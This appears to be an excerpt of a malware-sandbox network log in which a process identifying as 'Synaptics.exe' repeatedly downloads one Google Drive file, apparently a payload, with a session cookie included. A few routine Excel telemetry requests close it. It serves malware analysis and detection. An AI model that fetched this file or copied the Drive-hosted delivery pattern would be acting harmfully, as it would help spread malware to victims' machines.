Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /rules/rule63067v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule170012v12s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324001v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
